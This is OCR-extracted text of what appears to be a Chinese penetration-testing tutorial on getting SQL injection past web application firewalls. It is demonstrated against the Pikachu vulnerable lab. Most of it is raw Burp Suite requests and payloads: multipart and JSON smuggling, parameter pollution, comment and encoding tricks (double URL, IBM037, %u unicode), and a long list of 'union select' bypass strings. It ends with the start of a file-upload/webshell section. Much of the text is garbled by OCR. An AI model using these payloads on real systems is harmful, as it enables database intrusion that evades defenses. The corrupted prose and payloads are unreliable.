Origin: http://192.168.0.115
Connsction: close
Cookie: PHPSESSID=e£sa7élftE5q3£d2Shilbcdgvs; security_level=0
Upgrade-Insecure-Recuests: 1
15}id=l&submit=l Burp Suite Response Renderer = a X

& Pikachu ¥wid%: 1T & pika~pika~

A sqli > BFEEA F— TR~

select your userid?

hello,vince
your email is: vince@pikachu.com

Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz
Burp Project Intruder 3EsEEIETE Window Help

[ Dashboard TTarget Update Content-Length Decoder T Comparer l Exte
v Unpack gzip / deflate

Follow redirections >

— Process cookies in redirections
Send Cancel -
View >

Request Action >

r Y’ Y oY bl

urp Suite Professional v2020.1

-

porary Project - licensed to surferxy:

Burp Project Intruder Repeater Window Help
[ Dashboard | Target | Froxy | intruder |Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User aptions |

-
Send | | Cancel | [ < v || >|v

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

1 POST /us/vul/sqh/sqh_xd.php HTTP/1.1
Host: 192.1€8.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; VWin€4; x€4; rv:88.0) Gecko/2010010l1 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/vwebp, */*;q=0.8
Accept-Language: zh-CN, zh;q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer: hetp://192.168.0.115/06/vul/sqli/sqli_id.php "
Content-Type: application/x-www-form-ur lencoded “ BUI’p Suite Response Renderer
Content-Length: 36
: hte /192.168.0.115 . YEL 72 . .
Searive &, Pikachu ##id%:>1F & pika~pika~
: PHPSESSID=e£sa761ft65q3£d25hilbcd9v3; security_level=0
Upgrade-Insecure-Requests: 1

O

A sqli > BFEREA

£d=—i+\|nion+sele:\:+l,uss[H &submit=1POST /0&/vul/sqli/sqli_id.php HTTP/L.1

User-Agent: Mozilla/5.0 (VWindows NT 10.0; Winé4; x64; rv:88.0) Gecko/20100101 Firefox/88. I id?
Accept: text/html,application/xhtml+xml,application/xml; 9, image/webp, */ *;q=0.8 selectyour userid?
Accept-Language: zh-CN, zh;q=0.8, zh-TW; q=0.7, zh-HK; q=0.5,en-US;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate 5 5 38 ‘
Refere: http://192.168.0.115/0€/vul/sqli/sqli_id.php

Content-Type: application/x-www-form-urlencoded hello,1
Content-Length: 13 "
Origin: http://192.168.0.115 your email is: root@localhost
Connection: close

Cookie: PHPSESSID=eésa7eélfté5q3fd2Sbilbcd9v3; security level=0
Upgrade-Insecure-Requests: 1

id=2 submit=1

BN SHMTEE D LKA BEE R X T . E % waf 2 LRE =AW E B
FERSHK, ToMF— MM ERATRI, BHRTURE — & waf 24,



1.24. FJH multipart/form—data %833

7 http 3k B & Content-Type 12 % & ¥ X # = f 1L
application/x-www-form-urlencoded 4RI 5, post & &

multipart/form-data >CfF £ Z &K

text/plain > A =,

XL B RAE R R R REHATRG R LIRS %

H & multipart/form-data &~ ZHAEW A A —FHEE, T LEHNEANE A H
BB —A#a. AT, % waf 588 AU ITBAZ U % M s 238 B vl i 42 11
Content-Type: multipart/form-data;

boundary= 28566904301101419271642457175

boundary X & Jf 5k I Bt iy &

Content-Disposition: form-data; name="id" X 4 & /€ % post #&

BT AR F & i B A9 4E #9 SQL v A\ 1E 4 -1 union select 1,user()

Request Response
Raw | Params | Headers | Hex Raw | He:
1 POST /06/vul/sqli/sqli_id.php HTTP/L.1 A
2 118 r

4; rviB88.0) Gecko/20100101 Firefox/88.0
;q=0.8

{o8566904301101419271642457175 |

security_level-o AILER (B TEEMEER It

tion: form-data; name="id"

S04301101419271642457175
ion: form-data; name="submit"

20 submit
21 mmmm e 285£6904301101419271642457175-~

B! Burp Suite Response Renderer = a X

&, Pikachu ¥&ifl%:>]F- & pika~pika~

A sqli > EEFENEA A—T4Ew~
select your userid?

— v | &#
hello,1

your email is| root@localhost

1.25. order by %%t

% order by # TR, TEEMELHK, AT OUEA into KB HTRE,
select * from users where id=1 into @a,@b,@c,@d;



mysql> select * from users where id=1;
k Dbty htbadiall At hodled Frreowewmey Frovererrreneememes +

| id | username | password | email

| 123456 | moon@moonsec.com |
Forecprrermncese $emverreoee freerermcevnerveren +

1 row in set (0.00 sec)

mysql> select * from users where id=1 1into @a,@b,@c,@d;
Query OK, 1 row affected (0.00 sec)

mysql> select * from users where id=1 1into @a,@b,@c;

ERROR 1222 (21600): The used SELECT statements have a different number of columns
mysql> select * from users where id=1 1into @a,@b,@c,@d;

Query OK, 1 row affected (0.00 sec)

mysql> |

1. 26. http HHEISHIFKR ST

waf 7E 4 f& [ F/F SAT A M BT 1R, 2 A1 post i& K0 get & K&k & T A [F #y 1T
FEALN, ERBER, REIFERFRA LRI, wREJF /e F Al
get, post R waf 2 get #ATIRECE A, XA X post #ATHE Ao

<?php

echo $§ REQUEST("id'];

jpam | ratans | Lrea | B e e
| POST /c.php2id= HTTP/1.1 | Iy 1 HTTP/L.l 200 OK

Host: www.cdna. 2 Date: Sat, 22 May 2021 0£:54:1l GHT
3 User-Agent: 0101 Firefox/88.0 3 Server: Apache/2.4.39 (VWiné4) OpenSSL/L.l.1b mod fcgid/2.3.9a 1
 Accept: text/ /*;q=0.8 ¢ X-Powered-By: PHP/5.3.29

5 Accept-Language S Connmection: close

Z Accept-Encoding eflate Content-Type: text/html
Connsction: clo Content-Length: 4

7 Upgrade-Insecur: sts:

2 Cache-Control: max-age=0 post| ]
Content-Type: application/x-www-form-urlencodsd

L Content-Length: 7

id=post

& Y waf R EF 7 GET =% POST f£ 4L LB POST A& Z g seit.

e | ~

Request Response

Raw | Params IrHeadersTHiexrl Headers Hex Renderw

1 POST /c.php?id=1 HTTP/L.l ] HTTP/1.1 200 OK
2 Host: wwv.cdna.com r Date: Sat, 22 May 2021 06:55:42 GHT
3 User-Agent: Mozilla/S.0 (Vindows NT 10.0; Vin€4; x64; rv:88.0) Gecko/20100101 Firefox/ss.o 3 Server: Apache/2.4.39 (Vinéd) OpenSSL/L.1.1b med_fc
4 Accept: text/html,applicati aml;q=0.9, image */ 4 X-Powered-By: .3.29
5 Accept-Language: zh-CN, zh;q=0.8, zh % q=0.5,en-US; q=0.3,en; q=0.2 5 Connection: close
€ Accept-Encoding: gzip, deflate Content-Type: text/html
7 Connection: close 7 Content-Length: 20
Upgrade-Insecure-Requests: 1
Cache-Control: ~age=0 9 1 union select 1,2,3

10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 23

5 id=l+uniontsslect+l,2,3

1.27. application/json T#E text/xml %&id

%%%ﬁ%json ERSH, %ﬁ&%json BB 2] SQL AT json 1 A 1
KW B LS IE waf



POST /06/vul/sqli/sqli_id.php HTTP/1.1

Host: 192.168.0.115

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type:application/json

Content-Length: 38

Origin: http://192.168.0.115

Connection: close

Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php

Cookie: PHPSESSID=e6sa761{t65q3{fd25bilbc49v3; security level=0

Upgrade-Insecure-Requests: 1

{'id":1 union select 1,2,3,'submit":1}

L
Send | Canc <|v
Request Response
Raw | Params | Headers | Hex | [[Raw | Headers | Hex WW
1 /06,

qli/sqli_id.php HTTP/L.1 i
2 Host: 192.168.0.115 r

0101 Firefox/88.0

ol
S Accept-Language: h-TV; q=0.7, zh-HK; q=0.5,

5 Accept-Encoding

tent-Length: 38
ntep://192.1

92.168.0.115/06/vul/sqli/sqli_id.php
E1fLE5q3£d25bilbeagv3; Security_level=0
de-Insecure-Req s 1

15 (!'id':1 union select 1,2,3,'submit':1}]

BB text/xml 12 £ #

1.28. BITKEFFST

A LU select OxA 24T — 26 5 fF 48 R A — 2 waf £ 4

id=1 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/* unio
n*//*!select*/1,user()

post Zs 4
I+and+(select+1)%3d(selecttOXAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA)/*lunion*//*!select*/1,user()&submit=1



1B Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard | Target | Froxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User opions |

[1x]2«]3xJax]5x]6x]7x]8x]o [iausal )

send | | Cancel | [<Iv] [ > v

Request

Raw [ Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

1 POST /06/vul/sqli/sqli_id.php HTTP/1.1

2 Host: 192.18.0.115

3 User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winéd; x€4; rv:88.0) Gecko/20100101 Firefox/88.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */*;q=0.8

S Accept-Language: zh-CN, zh;q=0.8, zh-T¥; q=0.7, zh-HK; q=0.5,en-US; =03, en; q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-wyw-form-urlencoded

¢ Content-Length: 113

< Origin: http://192.168.0.115

10 Comnection: close

11 Referer: http://192.18.0.115/06/vul/sqli/sqli_id.php

12 Cookie: PHPSESSID=s6sa76lftéSq3fd2shilbcdgvi; security level=0

13 Upgrade-Insecure-Requests: 1

15 id=l+and+(select+l)%3d(select+OxAAAAAAAAAAAAAAAAAAAAAAAMARAAAAAAAAAAAAAAAA /# lunion*//*iselect/1, user () ssubmit=1

Burp Suite Response Renderer

&, Pikachu ¥#&id%:>]-F & pika~pika~

a X

A sqli > BEEREA
select your userid?

=

=i
hello,1
your email is: root@localhost

POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.165

A TR~

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 99

Origin: http://192.168.0.165

Connection: close

Referer: http://192.168.0.165/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=hk8r159en71pndlu3jvvphenn5

Upgrade-Insecure-Requests: 1

Click tc

id=1+and+(select+1)and+(select+0xA*1000)/* lunion*//*!select*/+1,user()--+&submit=%E6%9F % A5%E8%AF

%A2

1.29. &I ST

select 1,2 union select{x 1},user()

THET AU EBRNAZ AT — L waf (&



FeglElR =EEREs

1 select 1,2 union select{x ‘},use:()I

=2 £51 ®\R %S
1 2
> 12

1 root@localhost

ld 4 = ni n N

1.30. {50 ALL 353 DISTINCT 5T
FHELAME

select 1,2 from users where user id=1 union DISTINCT select 1,2
select 1,2 from users where user _id=1 union select DISTINCT 1,2
NN

select 1,2 from users where user id=1 union all select 1,2

select 1,2 from users where user _id=1 union select all 1,2



mysql> select 1,2 from users where id=1 union all select 1,user();

2 rows in set (0.00 sec)

mysql> select 1,2 from users where id=-1 union all select 1,user();

| 1 | root@localhost

et
1 row in set (0.00 sec)

mysql> select 1,2 from users where id=-1 union DISTINCT select 1,user();

1 row in set (6.60 sec)

mysql> select 1,2 from users where id=-1 union select DISTINCT 1,user();

| 1 | root@localhost |

et R +
1 row in set (6.60 sec)

mysql> select 1,2 from users where id=-1 union select all 1,user();

| 1 | root@localhost

e +
1 row in set (0.00 sec)

mysql> i

1.31. BUTRGHRT

B I 1R % waf #4 % union select # AT VEW H A FE A ETH KX FA K%
A, —HTEXNFANTFH BRAKRESEWRBRET .
Tuﬁ)ﬂiﬁ%ﬁ ﬁHJ: %&ﬁﬁlﬁﬁ%uf

> BT .f%ﬂ: i fsyes iy o8\ Hes Wees Qs Bams meEs ) =eas | =% A
SHARTE SORES

select 1,2 from users where user_id=l un

O Wm0 W” s WN

DISTINCT select 1,user()

1 root@localhost



Request

Raw | Params | Headers | Hex

Response

Raw | Headers HTML | Render

| OST 0c vl s/ i phy TR/ 1L
Host: 192

5 User-agent Noeilla/s.0 (Vindovs NT 10.0; Vinéd: xéd; rvies.0) Gecko/ 20100101 Fixetor/88.0
AZSERE; CEet bl mppLicar ton ) ), Shy LIeCtan il 5 018y oo ueis o

5 Accept-Language: zh-CN, zh;q=0 1=0.7, 2h-HK; q=0. 5, 2n-US; q=0.3, 2n; q=0.2

& Accept-Encoding: gzip,

Content-Type: application/x-wwu-form-urlencodsd

Content-Length: 125

Origin: heep://183.168.0.115

160.0. 115/08/vul/2ql 4/ sqls_td-pho
Co 7E) R yte BN curity_level=o
Upeade- Tnascure_Requeata:

id=1 union

xxx

Juns
DISTINCT/*

1 /**/selec/
e

/%%/1, user () Gsubmit=1

leftr data-iconz

E1<div class="main-content”>
<div class="main-content-inner”>
<div cl. e e-save 8 e

<i class="ace-icon fa fa-home home-icon"></i>
<a href=rsqli.phpresqlic</a>
</1i>
class=ract ivers> ¥ PR
</ul><i-- /.breadcrumb -->

<a hreg=rgn styl
data-placement="botton” titl
data-content=""% Tkl

i R

e NS e A S
o

g

</a>

</aiv>

<div class="page-content”>

<div id="sqli_main">
<p;clammmnaqiue dFTHs odTaen voueyumer e/
<form class="sql form" method="post

B

i,
6 <option value="">---</option>

<option value=ri">1</option>

<option value="2">2</option>
1 obtlon value=3nsa</options
<option value="4">4</option>
<option value="s">5</option>
obtion value=rense</options

"sqli_submit” type="submit" name="subm

<o class='notice’s is: vinc
‘notice'>hello, 1 <br />your email </a
0, 7] DL #EAT 9 A
M DUIP SUILE FIOIESSIONGT VAU, 1~ 1EIPOTATy FIOJECL - ILETISEU 1O SUTIETxys
Burp Project Intruder Repeater Window Help
[ Dashboard | Target | Froxy | ntruder [ Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options
[ ]2 356567 ]85 faow]n=[12-[13-]-]
Send | | Cancel | [ < v ][ > v Targe
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
1 POST /0é/vul/aqli/sqli_ia.php RTTF/L.1 % | os <option 2</option>
Host: 152.168.0.115 B <option >3 </ opt ion>
User-dgent: Mozilla/s.0 (Vindows NT 10.0 Vinéd; xéa; rvie0.0) Gecke/20100101 Tizetos/ss.0 3 DSl i
e et/ bl applicat on/ sheml i, app ot don/xml; 0.5, image/ vebp, /1 <option value="s"ss</options
0 -5, en-Us}op : <option value="E">E</option>
5 </select>
7 <inpur class="sqli submit” type="swbmit” name="submit”
</torm>
Class='notice’>hello,vince <br />your email is: vincelp
10 Connection: close ‘notice!>hello, 1 <br />your email is: rootlocalhost</p> as
L Referer: hrep://152.168.0.115/06/vul/3qli/sqli_id.ph 2
cokie: PHPSESSIDecsa76lfteSqifd2shilbedsvi; security_level=
Upgrade- Insecure-Requests: 51
id=1 union </aiv><i-- /.page-content -->
222100308178V TEY 734 2izan 78v78 </aivs
. 2tizaiaioe 734314224007 01 7878780050204 D2k 734734044020 FaLe <t /M COREEHE
4025730400040/ #/ 1, user () submit=1
<aiv class=rooterrs
<aiv
A
Pikachu PIKA- PIKA-Gcopy; runner.han
</span>
</aiw>
</aiv>
</azw>
<a href="g" id="btn-scroll-up” class="btn-scroll-up btn btn-sm btn-inverse
<1 class="ace-icon fa fa-angle-double-up icon-only bigger-110"></i>
</a>
</div><i-- /.mein-container -->
<o basic sexipts >
<ro-riz (IE]>
<t </[endif]
L
<ro-rif 1E]>

m 0 matches

1. 32. YmiBseit

BHEFBX: “%” Ik ASCIL# (447

#) , HeEmE “+” 42 URL A fn “9%20”7 Fox—

® & &l B [

4 WAL ASCIL A, F#t 4 16 3

Y& 2|4 ASCII A4 Ry F /4B, s >0, | % 2% 50 i3 %5 5 URLEncode, 1R
$& UTF-8. GBK %% # 16 #t#| X, #1748 ., w0 “&” # UTF-8 4w % E6 98
A5, FHILEZELH UTF-8 BEMN T, URL % A %E6%98%A5., H157F &2

RECTFM PR, 24 R URL %,

7 URL £# 2|5 6 0, B % web %4 B4 xt URL #ATHM .

BB R,



SREXE (W jsp F, 2 1£ Fl request.setCharacterEncoding("UTF-8")) , X A
UTF-8 5t GBK ¥ H & — M m i AT fEAT, B, BFLHFE CHAME, E
PLIk B %% (4nfE A request.getParameter(paramName))

EE, HENEFImRZH URL TE#E ARG, wRRESELENRD
FAACE, W ok F CELA . A T R A F A, EHILT =K URLEncode
W 7 % o £ & P o3 *f URL #t 1T B K URLEncode , X # % fil £ X 4% %|
B %E6%98%AS M 4 % A5 K %25e6%2598%25a5, # 4 ASCII A, Web % % 1& #
3| URL 5, BT — K, BN E 2 & F T F Y A5 vk 4T #EAT, #8#F ASCIL
, fatth, REARBIRER TN EBBNEASHITHE, EEHE
oH. EXE, ZFmlE— KRS, URRFGmHME K@, AEHERF
RETRER, ZFEN, AW,

2531,

L waf%ﬂ*ﬂﬁf“‘*ﬁuﬁ THERS, T REAEFAELY S 2H#ATHED, HILH #E
TR url U D 2% Tﬂﬁ

I Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

epeater | Sequencer | Decoder | Comparer | Extender | Project options | User options

1 union sel lect 1,2,user()

%20%31%20%75%6e%69%61%66%20%73%65%6C %65%63% 74%20%31%2C % 32%2¢ % 75%73%65%72%28%29

%25%32%64%25%33%31%25%32%30%25%37%35%2! 1%65%25%36%39%25% %25%36% 1630%25%37%33%25%36%35 %25 %36 % %25%36%33%25%37%34%2! %30%25%33%31%25%32%63%25%33%32%:

7 T DLIE A T A 4 e TT DL B R e T
1. 33. HTTP HuiE4mpL st

A G AR SE waf P2 2 H BB R, % waf R ERFRPTRA %A, Hwnii
T ARA utf-8 B F A, (ERZMRF AT LURAI utf-8 £ 4w,

LFATA T E A payload #% B waf IR A 4~ T 182 iR 425 =1 LUREAT R A 89 9 #5045
JEE'IJT it

bt iE Sk A R ATF UL E B Content-Type F B9 charset B9 2 45 8 , A 12 % ibm037



ZAP NG, H LRSS E LR payload BUR XA WAERBAT T o

POST /06/vul/sqli/sqli_id.php HTTP/1.1

Host: 192.168.0.115

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101
Firefox/88.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded;charset:ibm037

Content-Length: 33

Connection: close

Cookie: PHPSESSID=e6sa761ft65q3fd25bilbc49v3; security level=0

Upgrade-Insecure-Requests: 1

%89%84=%F1&%A2%A4%82%94%89%A3=%F1
# 3¢ Content-Type #Y charset 43T waf#

K G A
id=123&pass=pass%3d1

% it IBMO037 4%
%89%84=%F1%F2%F3&%97%81%A2%A2=%97%81%A2%A2~%F1

T 1% & B9 http header

Content-Type: application/x-www-form-urlencoded; charset=ibm037

import urllib.parse

s ='"id=-1 union select 1,user()-- &submit=1"
ens=urllib.parse.quote(s.encode('ibm037"))
print(ens)



Target
Nginx, uWSGI - Django — Python3v/
Nginx, uWSGI - Django — Python2v/

Apache Tomcat — JSP X
IIS — ASPX (v4.x) v

1IS — ASP classic p ¢
Apache/IIS — PHP b ¢

1.33.1. url g5 5T

QueryStringPOST Body

S

o)

X X X <

. and =URL-encoding

v (sometimes required)
v (sometimes required)

v (optional)

T iis B2 H 040 url A iE e R 74 & FEEF F AT
540 union select 7] DL # /& u%6eion s%65lect

equest

Response

Raw | Params | Headers | H
a1

hp HTTP/L.1

s NT 10.0; Vinéd; x64; rvies.o)

€8.0.115/06/vul/sq1i/sqli_id.php
£5q3d2shilbeasv3; security_level=o
1

. gamooaa
5 gRERSS

on stE5lect 1,user () &submit=YE6YSFYASYEBYAFYAZ

POST /06/vul/sqli/sqli_id.php HTTP/1.1

Host: 192.168.0.165

Raw | Headers | Hex | HTML | Render
T

ver" data-pl

om” title=rt

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101

Firefox/88.0
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 47
Origin: http://192.168.0.165

Connection: close

Referer: http://192.168.0.165/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=hk8r159en71pndlu3jvvphenn5

Upgrade-Insecure-Requests: 1

id=-1 union%250Aselect%250A1,user()-- &submit=1



1.33.2. Unicode 4mh5 &%

B “u” BERE “%u” fwE 416 # %] Unicode A1 .

ilis & B s #ATRA X MYt A #H 5 waf It T 2 8 X X 4w A

-1 union select 1,user()

P L

-1 uni%u006fn sel%u0065ct 1,user()

AL

%u002d%u003 1%u0020%u0075%u006e%u0069%u006f%u006¢%u0020%u0073%u
0065%u006c¢%u0065%u0063%u0074%u0020%u0031%u002c%u0075%u0073%u00
65%u0072%u0028%u0029

1.34. union select &5

B 80 A 2> waf #8 2 1# | #8 2 % union select #ATHE & EN L&A — R #TE
o

SIS RS ATE e

sel<>ect REJFHEHZE BHALE

sele/**/ct A2 7 1L &/ **/ K =

/*¥1%53eLEct*/ url 4% 25 5 Py Bk £ B

se%0blect f# = # 48 1t

sele%oct A B 4T %

%53eLEct Z%A% %3t

KAE

uNIoN sELecT 1,2

union all select 1,2

union DISTINCT select 1,2

null+UNION+SELECT+1,2

/*lunion*//*!select*/1,2

union/**/select/**/1,2

and(select 1)=(Select 0xA*1000)/*!luNIOn*//*!SeLECt*/ 1,user()
/*¥150000union*//*!50000select*/1,2
/*¥140000union*//*!140000select*/1,2

%0aunion%0aselect 1,2

%250aunion%?250aselect 1,2



%09union%09select 1,2

%0caunion%0cselect 1,2

%0daunion%0dselect 1,2

%0baunion%0bselect 1,2

%0d%0aunion%0d%0aselect 1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0al,--+%0d%0a2
/*112345union*//*!12345select*/1,2;

/% U funion/* X */select/* # 3C*/1,2;

/* * /lunion/* */select/ */1,2;
/*!lunion*//*!100000all*//*!00000select*/1,2

2. XX EfRimik

2.1. faik

XM LRI R B TR F RRAS £ B SU A SEAT AR Y R A R, TR B
F PR DA I AR B A TR 1 AR 28 A R AT B B A AR SU P e R L EY K
tte, B L, oahnxXtr bfe, BAEER, AWFWAF LEXH, wRILIE
T, TR P AR X LE iR, EERFE USATH A HEI RS ST,
LR BURS SHAR, R#t—F RERS &

2.2. BE

FEAPAULEHEREXFERENNE, EEEFHREE, T MEEHAR
XAF, XA A webshell, Ef& webshell 51T RAEMEERSBEL, £F
B, $TRES%,

2.3. HXRXHLERAEIR

Xt EH R
B AR R T B T TR 2 B> U B S B B 4G
B B 2
%25 R H T IRAEF
A B FRD
<?php
if ($_FILES["file"]["error"] > 0)
{

echo "Error: " . $_FILES["file"]["error"] . "<br />";



else
{
echo "Upload: " . $§ FILES["file"]["name"] . "<br />";
echo "Type: " . $§ FILES["file"]["type"] . "<br />";
echo "Size: " . (§_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];

}

7>
%P 3 X AF _EAE R A
<html>
<head></head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name=""file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>

</html>

Xt EERE

Xt L e R E - RS BEEF R P mREXLEAN EEZEER

® fH: 0; BRHEHERAAE, XML,

® fi: |; FEMXHMILT phpini ¥ upload max filesize & [ il 8 (H o

® ffi: 2; FEXHMWA/NERT HTML &£+ MAX FILE SIZE #7735 %
HI1E,

® fi: 3 XHRAHIHLE.

® H: 4 KA XM ERE,
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